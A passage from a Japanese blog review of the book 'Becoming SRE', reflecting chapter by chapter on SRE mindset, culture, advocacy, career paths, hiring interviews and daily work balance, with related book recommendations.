の概念とも通じるものがあります。著者は、不確実性や変動性、ストレスに晒されることで、かえって強くなる性質を \\"反脆弱性\\" と呼んでいます。SREが障害を学びの機会と捉えることは、まさにシステムの反脆弱性を高める営みだと言えるでしょう。失敗から学び、その経験を糧にしてシステムを進化させていく。そういうレジリエントなマインドセットこそが、SREに求められているのかもしれません。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazonさらに、SREのマインドセットは、長期的な視点を持っているという点でも特徴的です。スケーラビリティ、運用負荷の軽減、より多くの人々への信頼性の提供など、SREは常に将来を見据えて行動しているんです。システムが時代遅れになる前に、より良い代替案を用意することも、SREの重要な役割の一つだと著者は指摘しています。第2章で紹介されたSREのマインドセットは、技術的な側面だけでなく、倫理的・文化的な側面も含んだ、多面的なものだと感じました。著者が \\"neurodiversity\\" について触れていたように、SREという職種は、多様なバックグラウンドを持つ人々の力を結集することで、より高い信頼性を達成できるのだと信じています。SREのマインドセットを実践していくことの難しさSREのマインドセットという、一見つかみどころのない概念を、具体的な事例と洞察に基づいて解き明かしてくれる、良い内容でした。システムの信頼性を追求するためには、技術的なスキルと知識に加えて、SRE特有の思考法と姿勢が欠かせないことを、改めて認識させられました。特に、システムの動作を理解し、障害を検知・分析するためには、オブザーバビリティが重要な役割を果たします。オブザーバビリティの概念と実践について、SREの視点から解説した良書です。この本は、オブザーバビリティを単なるモニタリングの延長ではなく、システムの動作を理解するための能動的なアプローチとして捉えています。時系列データ、ログ、トレースを駆使して、システムの振る舞いを可視化し、問題の根本原因を究明していく。そのようなオブザーバビリティ・エンジニアリングの手法は、SREのマインドセットを体現するものだと言えるでしょう。オブザーバビリティ・エンジニアリング作者:Charity Majors,Liz Fong-Jones,George Mirandaオーム社Amazon私自身、ソフトウェアエンジニアやSREとしての経験を積む中で、システム思考の大切さを痛感してきました。複雑化する現代のシステムにおいては、個々の要素を深く理解するだけでなく、それらが相互に作用して生み出す振る舞いを俯瞰的に捉える力が求められるんです。システム思考とは、システムを構成する要素間の相互作用や、システムとその環境との間の相互作用に着目し、システム全体の振る舞いを理解しようとするアプローチです。部分の最適化ではなく、全体の最適化を目指すのがシステム思考の特徴です。複雑なシステムでは、ある要素の変化が予想外の連鎖反応を引き起こし、システム全体に影響を及ぼすことがあります。そのような非線形な因果関係を見抜くには、システムを俯瞰する視点が欠かせません。さらに、システムの目的や境界条件を明確にし、外部環境の変化に適応していく力も求められます。SREにとって、システム思考は障害対応や信頼性の向上に直結するスキルだと言えるでしょう。障害が発生した際、表面的な症状だけでなく、根本原因を追究するためには、システム全体の挙動を理解する必要があります。また、信頼性を継続的に改善していくには、ボトルネックを特定し、フィードバックループを回していくことが重要です。それに加えて、お客さんの視点に立って、システムの価値を最大化するという姿勢も、SREにとって欠かせないものだと感じています。システムの究極的な目的は、お客さんに価値を届けることです。お客さんの要求や期待を理解し、システムの機能や性能、信頼性を進化させていく。そのようなお客さん志向のマインドセットは、システム思考と表裏一体をなすものだと言えます。プロダクトマネジメント ―ビルドトラップを避け顧客に価値を届ける作者:Melissa PerriオライリージャパンAmazon第2章で紹介されていた \\"no haunted graveyards\\" というSREの格言は、私の心に強く残りました。過去の負の遺産から目を背けるのではなく、それを掘り起こして、改善していく。それがSREの使命なんだと。障害や失敗を恐れるのではなく、それを糧にしてシステムを進化させていく。そういう姿勢こそが、SREのマインドセットの真髄なのかもしれません。もちろん、SREのマインドセットを身につけて、実践していくのは簡単なことじゃありません。技術的な学習はもちろん、経験を積み重ねて、他者との対話を通じて考えを深めていくことが欠かせません。Chapter 3. SRE CultureSREの文化を育むことの重要性本章は、SREという職種に特有の文化について理解が深まりました。著者は、SREの文化を育むことの重要性を強調しつつ、その具体的な方法論について、自身の経験と洞察に基づいて解説しています。本章を読んでいてSREには最初からスタッフエンジニア的な立ち振舞いが必要だと強く思いました。スタッフエンジニア マネジメントを超えるリーダーシップ作者:Will Larson日経BPAmazonSREの文化を育むことが重要な理由は二つあると著者は指摘しています。一つ目は、SREがその能力を最大限に発揮するためには、SREに適した環境と条件が不可欠だからです。新しい熱帯魚を飼育する際に、水温や水質、餌などに気を配るのと同じように、SREを雇用する組織は、SREが力を発揮できる文化を意識的に作り上げていく必要があります。著者は、SREの文化を育むことを \\"keep SREs happy\\" と表現していますが、これは単にSREを満足させるというだけでなく、組織にとっても重要な意味を持つのです。二つ目の理由は、SREの文化が組織全体の変革の原動力になり得るからです。著者は、SREの文化を \\"Culture as a Vehicle or a Lever\\" と表現し、SREの文化が組織や個人を望ましい方向へと導く「乗り物」あるいは「てこ」になると述べています。例えば、SREが重視する \\"it isn\'t done until it is documented\\" という考え方は、ドキュメンテーションの充実を組織全体に浸透させる力になります。SREの文化は、reliability(信頼性)という目に見えにくい価値を、組織の隅々にまで行き渡らせるための強力な手段なのです。では、SREの文化を意図的に育むにはどうすればよいのでしょうか。著者は、第2章で解説したSREのマインドセットを出発点にすることを提案しています。SREのマインドセットを形作る要素を一つ一つ取り上げ、それを支える条件や前提条件を考えていく。そのようなボトムアップのアプローチこそが、SREの文化を育む第一歩になると著者は説いています。また、著者は、Carl Saganの \\"If you wish to make an apple pie from scratch, you must first invent the universe.:アップルパイをゼロから作りたい場合は、まず宇宙を発明する必要があります。\\" という言葉を引用し、文化を構築するためには、それを構成する要素を細分化し、それらを組み合わせるプロセスに着目することが重要だと指摘しています。例えば、\\"信頼できる開発環境を提供するために何が必要か\\" という問いを立てると、そこから自己サービス化、ドキュメンテーション、拡張性、オブザーバビリティなど、SREの文化を特徴づける様々な要素が浮かび上がってきます。これらの要素を一つ一つ紐解いていくことで、SREの文化の全体像が見えてくるというのです。ただし、著者も認めるように、\\"What do I want SRE to be here?\\" という問いに答えを出すのは容易ではありません。SREに何を期待し、どんな役割を担ってもらいたいのか。組織によって、その答えは千差万別だからです。しかし、その困難な問いに向き合うことなくして、SREの文化を意図的に育むことはできません。著者は、その問いへの答えを模索するためのヒントとして、インシデント対応に注目することを提案しています。SREの文化を育むための具体的な方法としては、インシデント対応とその振り返りに注力することが有効だと著者は述べています。インシデントの検知、対応、分析、再発防止のプロセスを丁寧に分解し、そこに潜む問いに真摯に向き合うこと。それこそが、SREがシステムの信頼性を高めるために不可欠な営みであり、SREの文化の根幹をなすものだというのです。インシデント対応は、しばしば \\"fruit trees\\" を育てる営みに喩えられます。インシデントという \\"種\\" を丁寧に観察し、その理由や背景を \\"土壌\\" として分析する。そこから得られた学びを \\"肥料\\" にして、再発防止という \\"果実\\" を実らせる。そのようなプロセスを地道に積み重ねていくことが、SREの文化を根付かせ、組織の信頼性を高めていくのだと著者は説いています。ただし、インシデント対応をSREだけの仕事にしてしまうと、かえって望ましくない状況を招く恐れがあると著者は警告しています。インシデント対応を通じて得られた知見は、組織全体で共有され、活用されてこそ意味があります。もしSREだけがインシデントから学び、その知見が組織に還元されないようであれば、それは \\"車輪の脱落したショッピングカートを押している状態\\" だと著者は表現しています。つまり、SREの文化が組織を望ましい方向に牽引する力を発揮できなくなってしまうのです。その意味で、著者が \\"Who is getting smarter and what are we doing about it?:誰がより賢くなっているのでしょうか?それに対して私たちは何をしているのでしょうか?\\" と問いかけているのは示唆に富んでいます。インシデント対応から得られた教訓は、誰のものになっているのか。そして、その教訓を組織の信頼性向上にどう活かしているのか。その問いに常に意識的でいることが、SREの文化を健全に保つために不可欠なのです。SREの文化を組織に根付かせるためのもう一つの方法は、\\"読書輪読会\\" や \\"ローテーション\\" だと著者は述べています。\\"読書輪読会\\" とは、ポストモーテムやシステム設計書、書籍などを題材に、SREの視点から議論を重ねる場のことです。一方、\\"ローテーション\\" とは、SREと他の職種の間で一定期間、互いの役割を交代するという取り組みです。これらの活動を通じて、SREの考え方や価値観を組織全体に浸透させていくことができます。特に \\"ローテーション\\" は、SREの文化を組織に根付かせる上で強力な手段になり得ます。SREがソフトウェアエンジニアの役割を体験することで、開発者の視点や課題を肌で感じることができます。逆に、開発者がSREを経験することで、信頼性の重要性や、運用の現場で何が起きているのかを理解することができます。そのような相互理解が、SREと他の職能の間の \\"cultural exchange\\" を促進し、組織としての一体感を醸成するのです。『Becoming SRE』の第3章は、SREの文化という、一見捉えどころのない概念を、具体的な方法論と結びつけて解説した、良い内容でした。著者の主張で特に印象に残ったのは、SREの文化は、意図的に育まなければ根付かないというものです。組織の価値観や行動様式を変えていくことは容易ではありません。しかし、著者が提示したような地道な取り組みを積み重ねていくことで、SREの文化は確実に花開いていくはずです。SREの文化を育むためのプロセスそれは、新しい熱帯魚を迎え入れる時のようなワクワク感と、果てしない可能性に満ちたプロセスなのかもしれません。水槽の環境を整え、エサを与え、そっと見守る。SREの文化を育むことは、そんな愛情深く、辛抱強い営みなのだと感じました。もう一つ、私が共感を覚えたのは、SREの文化の中核には \\"curiosity(好奇心)\\" があるという指摘です。システムの信頼性を追求するためには、その仕組みや振る舞いを深く理解したいという欲求が不可欠です。著者が \\"Any SRE culture you create (intentionally or unintentionally) has to support curiosity.:あなたが作成する SRE 文化は (意図的か非意図的かにかかわらず) 好奇心をサポートするものでなければなりません。\\" と述べているように、好奇心こそがSREの文化を支える最も重要な要素なのです。そして、好奇心は \\"novelty(新奇性)\\" とも密接に結びついています。SREにとって、新しい技術や手法に触れ、学び続けることは、好奇心を刺激し、モチベーションを高める上で欠かせません。SREの文化は、そのような好奇心と新奇性を尊重し、奨励するものでなければならないのです。また、著者が \\"culture overlays most everything\\" と述べているように、SREの文化は、技術的側面だけでなく、組織のあらゆる側面に影響を及ぼし得るものです。それは、人と人との関わり方、コミュニケーションの取り方、意思決定のプロセスなど、組織の文化的な基盤を形作るものでもあるのです。だからこそ、SREの文化を意図的に育んでいくことが重要なのだと改めて感じました。SREの文化を育む困難さと重要性SREの道のりは決して平坦ではありません。しかし、SREの文化を大切に育んでいくことは、その旅を意義あるものにしてくれるはずです。変化への抵抗や、既存の価値観との軋轢に直面することもあるでしょう。でも、複雑なシステムを動かすためには、てこを見出し、フィードバックループを形成し、粘り強く働きかけ続けることが肝要なのです。本章を読んで、私は自身のSREとしての経験を振り返ってみました。確かに、私が所属するチームでも、SREの文化を意識的に育んできた面があります。例えば、障害の振り返りの場では、個人の責任を追及するのではなく、システムの課題を浮き彫りにすることを大切にしてきました。また、開発チームとのローテーションを通じて、互いの理解を深める取り組みも行ってきました。しかし、著者の指摘を踏まえると、まだまだ改善の余地があるようにも感じました。例えば、インシデント対応から得られた知見を、もっと組織全体に浸透させていく工夫が必要かもしれません。また、SREの文化の中核にある \\"好奇心\\" を、もっと大切にしていく必要があるようにも思います。自分なりのSREの文化を育んでいく。お客様に価値を届け続けるというSREの使命を全うするために、仲間とともに今日も一歩一歩前へ。Chapter 4. Talking About SRE (SRE Advocacy)SREについて語ることの重要性本章は、SREについて語ることの重要性と、そのための実践的なアドバイスについて理解が深まりました。著者は、SREの価値を組織内外に伝えるためのストーリーテリングの技術について、自身の豊富な経験に基づいて解説しています。ちなみに、私が以前読んだ『ダイアローグ 価値を生み出す組織に変わる対話の技術』でも、必要なのはただのコミュニケーションではなく対話であることが強調されていました。SREについて語る際にも、この点は意識すべきポイントだと思います。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazon著者によると、SREについて語ることが重要な理由は大きく二つあるそうです。一つ目は、SREという職種や考え方に対する理解を深め、その存在意義を組織内で認めてもらうためです。特に、SREを新しく導入する際や、その影響力を拡大していく段階では、効果的なアドボカシー(支持獲得活動)が欠かせません。二つ目の理由は、SREとしてのアイデンティティを形成するためだということです。著者は \\"the stories we tell ourselves are a major way identity is formed.\\" つまり、「私たちが自分自身に語る物語は、アイデンティティを形成する主要な方法である」と述べ、自分たちが語るストーリーがアイデンティティの形成に大きな影響を与えると指摘しています。SREについて語ることは、単に他者の理解を得るためだけでなく、自分自身がSREとは何かを深く理解するためにも重要なのです。では、SREについてどのようなストーリーを語れば良いのでしょうか。著者は、SREの定義や効果、評判、可能性など、様々な切り口からストーリーを構成することを提案しています。例えば、「SREの取り組みによって、あるチームの信頼性が目に見えて改善した」といった \\"効果の物語\\" や、「有名企業がSREを取り入れた」といった \\"評判の物語\\" は、SREの価値を伝える上で説得力のあるストーリーになるでしょう。また、著者は具体的なストーリーの例も挙げています。障害対応の際の謎解きのプロセスや、SREの専門家の問題解決アプローチを描くことで、SREという仕事の面白さや奥深さを伝えることができるはずです。一方で、SREについて語る上での課題についても、著者は良い指摘をしています。\\"吠えなかった犬\\" の例え話から分かるように、SREの価値は、しばしば \\"何が起きなかったか\\" という点に表れます。障害が発生しなかったことや、データ損失が防げたことなど、ネガティブな事象を語るのは容易ではありません。そのためには、\\"対比\\" の技法を活用し、SREの取り組みがなかった場合に起こり得た事態を想像させることが重要だと著者は述べています。また、\\"ヒーロー文化\\" を美化するストーリーには注意が必要だと著者は警告しています。個人の英雄的な努力を称賛するあまり、過剰な負荷や無理な働き方を正当化してしまうことがあるからです。インシデント対応でのヒーローの活躍を語る際には、組織としての課題を浮き彫りにし、改善点を提示することが肝心だと強調されています。著者が提示したストーリーの例は、SREの価値を伝える上で参考になるものばかりでした。特に、\\"ある日のSREの物語\\" のように、SREの日常業務を具体的に描くことで、その仕事の醍醐味や面白さを伝えられるアイデアが印象的でした。ただし、著者自身も認めるように、SREについて語るのは思ったより難しいことがあります。信頼性向上への取り組みは決して一直線ではなく、試行錯誤の連続だからです。その複雑な現実を、聴衆に分かりやすく伝えるためには、スキルと経験が必要不可欠だと感じました。また、SREのストーリーには、技術的な要素だけでなく、人的な要素も欠かせません。著者が \\"all of our systems are sociotechnical\\" と指摘しているように、信頼性の追求には、技術と人、両方の視点が不可欠なのです。効果的なストーリーを語るための心構え改めて振り返ってみると、SREについて語ることは、単なるアドボカシーの技術ではありません。それは、自らのアイデンティティと、組織としての使命を見つめ直す営みでもあるのだと気づかされました。著者が \\"my best talks are those that changed me during the preparation or presentation\\" と述べているように、SREについて語ることは、語り手自身をも変容させる体験になり得るのです。本章で提示された多様なストーリーのアイデアを参考に、私もSREについて語る機会を増やしていきたいと思います。自分の経験を言語化し、他者と共有することで、SREとしての自覚と誇りを深めていく。そのような語りの積み重ねが、SREの文化を組織に根付かせ、ひいては社会にも良い影響を与えていくのだと信じています。第4章は、SREという職種の意義を伝えるためのヒントに満ちた一章でした。SREについて語ることは、自分自身と、自分が関わるシステムを見つめ直すための強力な方法論なのだと実感しました。とはいえ、効果的なストーリーを紡ぐのは容易ではありません。著者が \\"Collecting stories as you go\\" と述べているように、日々の業務の中で、ストーリーのタネを見つける感度を磨いていく必要があります。そして、それを言葉にする作業を丁寧に積み重ねていくことが肝要だと感じました。また、著者も触れているように、他者のストーリーを語る際には、倫理的な配慮も欠かせません。関係者の許可を得ることは大前提ですが、それ以上に、ストーリーの背景にある文脈や、登場人物の心情に思いを馳せることが大切だと感じました。型にはまったストーリーではなく、現場の息吹が感じられるような生々しいストーリーを、誠実に語ることが求められているのだと思います。もう一つ、著者が \\"Give up your airtime\\" で述べているように、多様な語り手を登用することも重要な課題だと感じました。SREについて語る機会が、一部の立場の人々に偏ることのないよう、自分自身も意識していきたいと思います。第4章を読んで、改めてSREの魅力と可能性を感じました。システムの信頼性を追求するというミッションは、決して華やかなものではありません。しかし、著者が紹介してくれたような力強いストーリーを通じて、その意義を伝えていくことはできるはずです。お客様に平穏と信用を届け、自分のプロとしての役割を成就するために。SREに関して語ることを通じて、自身の業務の意義を再び確かめ、新たな一歩を踏み出すための決心を固めたいものです。日頃の仕事の中で信用を積み重ね、丁重な説明を怠らず、相手に応じた意思疎通を図るなど、円滑なコミュニケーションのためには並々ならぬ労力が必要不可欠です。しかしながら、コミュニケーションのコストを払いたくない、責任を背負いたくない、嫌われたくない、それでいて自分が考案した仕組みにみんなが同意し、ついてきてほしいというのは、どこまでも絵空事なのです。いかに「正しくて能率的」なアイデアでも、そこに人間が関与する以上、人間の心理や感情を考慮せざるを得ません。本来は課題解決に注力したいのに、人間関係の調整に手間を取られるのは、本質から外れているように思えるかもしれません。しかし、他者と協働しなければならない以上、それは避けられない現実なのです。SREという仕事も、究極的には人と人とのつながりの中で成り立っているのだと、改めて認識させられました。円滑なコミュニケーションを築くことは容易ではありませんが、それなくしてSREの使命を果たすことはできないのです。他者と働く──「わかりあえなさ」から始める組織論 (NewsPicksパブリッシング)作者:宇田川元一ニューズピックスAmazonII. Becoming SRE for the IndividualChapter 5. Preparing to Become an SRESREになるために必要な基礎知識本章は、SREになるために必要な知識やスキルについて理解が深まりました。著者は、SREへの道のりに唯一無二の正解はないと断りつつも、SREとして活躍するために身につけておくべき基礎知識を丁寧に解説しています。まず、「コーディングができる必要があるか」という問いに対して、著者は 「Yes」 と明確に答えています。システムの信頼性を追求するSREにとって、ソフトウェアがどのように作られているかを理解することは不可欠だからです。また、コーディングを学ぶことで、アルゴリズムの効率性、エラーハンドリング、抽象化、設計、分解、統合、依存関係、ドキュメンテーションなど、SREに必要な多くの概念を自然と学べると著者は指摘しています。これらについては自分も似たような課題感を持っていてブログにしました。syu-m-5151.hatenablog.com一方で、「コンピュータサイエンスの学位が必要か」という問いに対しては、必ずしもそうではないと著者は述べています。ただし、学位がない場合は、アルゴリズム解析やBig O記法など、コンピュータサイエンスの基礎概念をある程度理解している必要があるそうです。次に、著者は 「基本的なシステムと、その障害モード」 と 「分散システムと、その障害モード」 の理解の重要性を強調しています。現代のSREは、マイクロサービスアーキテクチャや地理的に分散したシステムを扱うことが多いため、分散システム特有の障害モードを理解し、レイテンシ、コンセンサスアルゴリズム、分散タイムキーピング、データの一貫性などの概念に精通している必要があるのです。また、著者は 「統計とデータの可視化」 のスキルも重要だと述べています。モニタリングとオブザーバビリティはSREの基盤であり、そのためには、パーセンタイル、傾向分析など、統計の知識が欠かせません。さらに、データを効果的に可視化する能力は、信頼性について客観的な議論をする上で極めて重要だと著者は指摘しています。意外に感じたのは、「ストーリーテリング」 がSREの基礎スキルの一つとして挙げられていたことです。インシデントレビューやポストモーテムは本質的にストーリーであり、そのストーリーをうまく伝えることがSREの重要な仕事だと著者は述べています。人間はストーリーを通じて情報を受け取るようにできているため、SREはストーリーテリングとストーリーリスニングのスキルを磨く必要があるのだそうです。また、著者は 「良き人であれ」 という一節で、SREにとって、プライバシー、倫理、インクルージョン、平等などの価値観について学び続けることの重要性を説いています。SREは地球上で最も重要なシステムの一部を任されているからこそ、常に自己研鑽に励み、最高の自分でいる必要があるのです。そのほか、著者は、すぐには必要ないかもしれないが、いずれSREの前に立ちはだかるであろう話題として、「大規模システム設計」「レジリエンスエンジニアリング」「カオスエンジニアリングとパフォーマンスエンジニアリング」「機械学習と人工知能」 などを挙げています。特に、機械学習によって、システムの振る舞いがデータに依存して確率的に変化するようになったことは、信頼性を考える上で大きなパラダイムシフトだと著者は指摘しています。SREの本質を追求する姿勢にこそ職責がある『Becoming SRE』の第5章は、SREに必要な知識やスキルを体系的に整理した、良い内容でした。著者は「SREの仕事の本質は、システムについて深く理解し、その信頼性を追求すること」と繰り返し強調しています。そのためには、コンピュータサイエンスの基礎から、分散システム、統計、ストーリーテリングまで、幅広い知識と経験が求められます。ただし、著者も認めるように、これらのスキルは一朝一夕には身につきません。大切なのは、自分に足りない知識を認識し、それを少しずつ埋めていく姿勢なのだと感じました。著者が \\"Worst-case scenario: it is good to know what you don\'t know.\\" と述べているように、自分の知らないことを知っているだけでも、SREへの第一歩になるはずです。また、SREとして成長していくためには、技術的なスキルだけでなく、「Are you a curious person?:あなたは好奇心旺盛な人ですか?」「Do you like to solve problems, no matter where they take you?:どこに連れて行かれても、問題を解決するのが好きですか?」「Is a life of service attractive to you?:奉仕生活はあなたにとって魅力的ですか?」といった問いに、心の底から「Yes」と答えられるかどうかも重要だと著者は述べています。SREという仕事に真に向いているかどうかは、スキルではなく、マインドセットにあるのかもしれません。本章を読んで、私はSREという職種の奥深さを改めて感じました。信頼性の追求という、一見シンプルに見える目標の背後には、実に多様な知識とスキルが求められているのです。それは、コンピュータサイエンスという学問の神髄を問うものであり、同時に、人間の認知や行動、価値観についての洞察も必要とするものだと感じました。しかし、だからこそ、SREという仕事にやりがいを感じずにはいられません。信頼性を追求するという使命を胸に、謙虚に学び、好奇心を持って問題に立ち向かう。そんなSREの姿勢は、エンジニアとして、人として、大いに魅力的だと感じます。SREへの第一歩もちろん、その道のりは平坦ではありません。著者が \\"aspirational:野心的\\" と表現しているように、本章で示された知識やスキルは、理想であって、必須条件ではないのです。大切なのは、その理想であり達人SREに向かって一歩ずつ前進していくこと。私も、自分に足りない点を一つずつ埋めながら、SREとしての道を歩んでいきたいと思います。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社AmazonChapter 6. Getting to SRE from…様々なバックグラウンドを持つ人々がSREを目指せる本章は、著者は、SREになるための唯一の正解はないと断った上で、学生、開発者、システム管理者など、よくある出発点からSREへ移行するためのアドバイスを提示しています。SOFT SKILLS ソフトウェア開発者の人生マニュアル 第2版作者:ジョン・ソンメズ日経BPAmazonまず、著者は「あなたはすでにSREなのかもしれない」と問いかけます。組織の中には、正式な肩書きこそないものの、SREのマインドセットを持って仕事に取り組んでいる人が少なからずいるというのです。もしあなたがそうだとしたら、組織内でその価値を認めてもらい、SREとしてのキャリアを歩み始めることが次の一歩になるでしょう。学生からSREを目指す人へのアドバイスとしては、インフラ関連の仕事を見つけること、クラウドプロバイダーの無料クレジットを活用すること、カンファレンスに参加することなどが挙げられています。また、コンピュータサイエンスを学ぶ学生は、スケーリング、分散コンピューティング、キューイング理論などの授業に注目すべきだと著者は述べています。一方、工学や科学を学ぶ学生は、大規模計算に触れる機会を見つけ、信頼性の高いシステムを構築するために必要なスキルを身につけることが重要だとのことです。開発者からSREへの移行に関しては、本番環境でのコードの振る舞い、障害モード、オブザーバビリティ、リリースエンジニアリング、ドキュメンテーションなどに注目することが大切だと著者は指摘しています。開発者にとって、「システムを構築するだけでなく、運用することについても考える」ことがSREへの第一歩になるのです。システム管理者からシステム管理が得意なSREになった私自身、システム管理者からSREへの道を歩んできました。著者が指摘するように、システム管理者とSREは、人々を助けたいという思いを共有しています。また、トラブルシューティングとデバッグのスキルも、両者に共通する強みだと言えるでしょう。sreake.com一方で、SREへの移行には、マインドセットの転換が必要だと著者は述べています。「すべてのものを監視する」から「顧客の視点から信頼性を測定する」へ、「適切な信頼性レベル」を追求し、「フィードバックループを育む」ことが求められます。この転換を実現するために、著者はチケット管理システムやモニタリングのメールを、信頼性に関する貴重なデータソースとして活用することを提案しています。インシデント後のレビューを非公式に実施することも、SREのマインドセットを身につける良い機会になるでしょう。さらに、「根本原因」ではなく「contributing factors:要因」といった言葉を用いることで、言語がもたらす認識の変化にも目を向けるべきだと著者は述べています。最後に、著者は他のあらゆる職種の人々に向けて、「信頼性とのつながりを見つけ、その方向に泳ぎ始めること」を勧めています。また、進捗を記録し、前進し続ける原動力にすることの重要性も強調されています。第6章は、SREというキャリアを目指す人々に、実践的なアドバイスと温かい応援のメッセージを送る内容でした。著者の主張で特に印象に残ったのは、SREへの道に唯一の正解はないという点です。様々なバックグラウンドや経験を持つ人々が、信頼性の追求という共通の目標に向かって歩んでいける。そんな多様性と包摂性こそが、SREという職能の強みなのかもしれません。本章を読んで、私はシステム管理者時代を振り返ってみました。確かに当時は、可用性の追求に汲々としていた面があります。でも、あの頃培った、ユーザーに価値を届けたいという思いは、今でもSREとしての原動力になっています。著者が述べているように、経験やスキルのギャップを少しずつ埋めていくことで、誰もがSREを目指せるのだと感じました。SREへの道のりは平坦ではないとはいえ、SREへの道のりは決して平坦ではありません。新しい知識を吸収し、経験を積み、時にはつまずきながら進んでいく。しかし、その過程で得られる学びと成長は、何物にも代えがたい価値があるはずです。Chapter 7. Hints for Getting Hired as an SRE本章は、SREの職を得るためのヒントについて理解が深まりました。著者は、SREの求人情報の評価方法から、面接の準備、面接でのアピール方法まで、SREの仕事を求める人のために実践的なアドバイスを提供しています。また、Github上ではmxssl氏によるSRE 面接準備ガイドがありこちらも一読していただければ良いと思います。github.comまず、著者は「SREの仕事はすべて同じではない」と断った上で、タイトルだけがSREに変更された職種(title-flip positions)は、本章の対象外だと明言しています。SREの求人を見極めるためには、求人情報に含まれている(あるいは含まれていない)情報に注目することが大切だと著者は述べています。求人情報に記載されている技術スタックからは、その組織の技術的成熟度や環境の一貫性などが読み取れるそうです。また、チケット管理システムへの言及は、その環境がどれほどトランザクショナルかを示唆しているとのことです。プログラミング言語への言及は、コーディングスキルがある程度重視されていることを意味します。一方、モニタリング技術への言及の有無からは、その職種とモニタリングの関係性が窺えます。次に、著者はSREの面接対策として、非抽象的な大規模システム設計(NALSD)、モニタリング/オブザーバビリティ、コンピューティングの基礎、トラブルシューティング/デバッグの4つのトピックを挙げています。これらのスキルは、ほとんどのSREの職種で求められるため、事前に準備しておくことが重要だと著者は述べています。面接で質問すべき内容についても、著者は具体的な提案をしています。「モニタリングシステムについて教えてください」「インシデント後のレビュープロセスについて教えてください」「オンコール体制について教えてください」「SREが解決しようとしている問題は何ですか?」といった質問は、その組織におけるSREの役割や成熟度を知る上で有効だそうです。答えは用意しておきますただし、著者も認めるように、面接での質問は諸刃の剣になり得ます。「あなたが雇用されたら、これらの質問に答えを出してもらいたい」と言われた場合、自分で出した難しい質問に答えなければならなくなるかもしれません。そのような状況に備えて、大まかな答えを用意しておくことが賢明だと著者は述べています。第7章は、SREの仕事を求める人のための実践的なガイドブックでした。著者の豊富な経験に基づく助言は、SREを目指す人にとって心強い道しるべになるはずです。本章を読んで、私は自身の経験を振り返ってみました。確かに、SREの面接では、技術的な質問だけでなく、システム思考やコラボレーションに関する質問も多く出されました。著者が述べているように、SREに求められるスキルは多岐にわたるため、幅広い知識と経験が問われるのだと実感しました。また、面接官としての経験からも、著者の指摘に共感を覚えました。求職者がシステムのボトルネックを特定したり、障害から学ぶ姿勢を示したりするのを見ると、SREとしての資質を感じずにはいられません。逆に、ヒーロー的な振る舞いを美化するような発言には、危険信号を感じることがあります。SREの面接は双方向のコミュニケーション本章で特に印象に残ったのは、SREの面接は双方向のコミュニケーションであるべきだという点です。求職者は、自分のスキルをアピールするだけでなく、その組織におけるSREの役割や課題について積極的に質問すべきだと著者は述べています。時には、面接そのものが、SREの実践の場になり得るのかもしれません。また、著者が 「面接に落ちたら、それを障害対応のように扱ってみよう」 と提案しているのも興味深かったです。確かに、失敗から学ぶ姿勢は、SREにとって不可欠なマインドセットです。面接に落ちたからといって、それで終わりではありません。そこから学びを得て、次のチャンスに生かしていく。そういう前向きな姿勢こそが、SREの真骨頂なのだと感じました。SREの世界に飛び込むのは、勇気のいることかもしれません。でも、その一歩を踏み出す価値は十分にあるはずです。『Becoming SRE』の第7章は、その一歩を後押ししてくれる、頼もしいガイドだと感じました。日々の仕事の中で信頼性への意識を研ぎ澄ますとはいえ、面接対策だけがSREへの道ではありません。日々の業務の中で、信頼性への意識を研ぎ澄まし、技術力を磨いていくことが何より大切なのだと思います。著者も触れているように、SREの面接は、日頃の仕事ぶりの反映に他なりません。だからこそ、普段から「How can I make things better?」という問いを忘れずにいたいものです。システム設計の面接試験作者:アレックス・シュウソシムAmazonChapter 8. A Day in the Life of an SRESREの多様な役割とコラボレーションの重要性本章は、SREの日常業務の章であり、SREという職種の多様性と複雑性を浮き彫りにしています。 著者は、SREの仕事を複数のモードに分類することで、その役割の広がりを示しました。インシデント対応、ポストインシデント学習、ビルダー/プロジェクト/学習、アーキテクチャ、マネジメント、計画、コラボレーション、回復とセルフケアなど、SREは常に状況に応じて異なる仕事のモードを切り替えながら、システムの信頼性を維持・向上させていく必要があるのです。特に印象に残ったのは、コラボレーションモードの重要性についての指摘です。 SREはシステムの信頼性を確保するために、開発者、プロダクトマネージャー、ステークホルダー、ビジネス側の人々など、さまざまな関係者と密接に連携していかなければなりません。SLI/SLOの定義と実装、モニタリングの設計、カオスエンジニアリングの実践など、SREの主要なタスクの多くはコラボレーションを抜きには語れません。著者が強調するように、SREは「容赦なく協調的」であることが求められるのです。SREのワークライフバランスまた、SREの仕事がときに過酷になりがちだという指摘も重要です。 ヒーロー的な働き方を美化する文化的風潮の中で、SREが過剰なワークロードを抱え込み、バーンアウトしてしまうリスクは常につきまといます。著者は、週60-75時間も働くことを自慢げに語る人がいたら、それはシステムの失敗の表れだと考えるべきだと述べています。燃え尽きた人間は、信頼性の高いシステムを構築することができないのです。SREがサステナブルなオペレーションを実現するためには、適切なワークライフバランスを保つことが不可欠だと言えるでしょう。SREの業務バランスSREの業務バランスについての考察も示唆に富んでいました。反復作業と価値ある作業、リアクティブな仕事とプロアクティブな仕事、割り込みの多い仕事と集中できる仕事、個人作業とチームでの作業、危機的状況と平常時など、SREは常に相反する要素のバランスを取る必要があります。 特に新しいサービスを立ち上げる際は、リアクティブな仕事や割り込みが多くなりがちで、エンジニアリング業務に充てる時間を確保するのが難しくなります。状況に応じて柔軟にバランスを取っていく必要がありますが、長期的には業務時間の50%はエンジニアリング業務に充てるべきだというガイドラインは、非常に参考になりました。本章では、SREという職種の技術的な側面だけでなく、コラボレーション、ワークライフバランス、メンタルヘルスなど、さまざまな角度からSREの仕事の実態に迫っています。 SREに求められるスキルや資質の多様性を考えると、SREという職種の奥深さと面白さを改めて感じさせられました。特に、SREがサステナブルなオペレーションを実現するための職種であるという点は重要で、バランスの取れた働き方を目指すべきだという主張には強く共感しました。私たちSREは、常に変化し続ける技術的・組織的環境の中で、複数のモードを行き来しながら、コラボレーションマインドセットを発揮し、適切なバランスを保ちつつ、信頼性の高いシステムづくりに取り組んでいく必要があります。 本章で紹介されていたさまざまな知見を胸に、SREとしてのキャリアを歩んでいきたいと思います。いつも「時間がない」あなたに 欠乏の行動経済学 (早川書房)作者:センディル 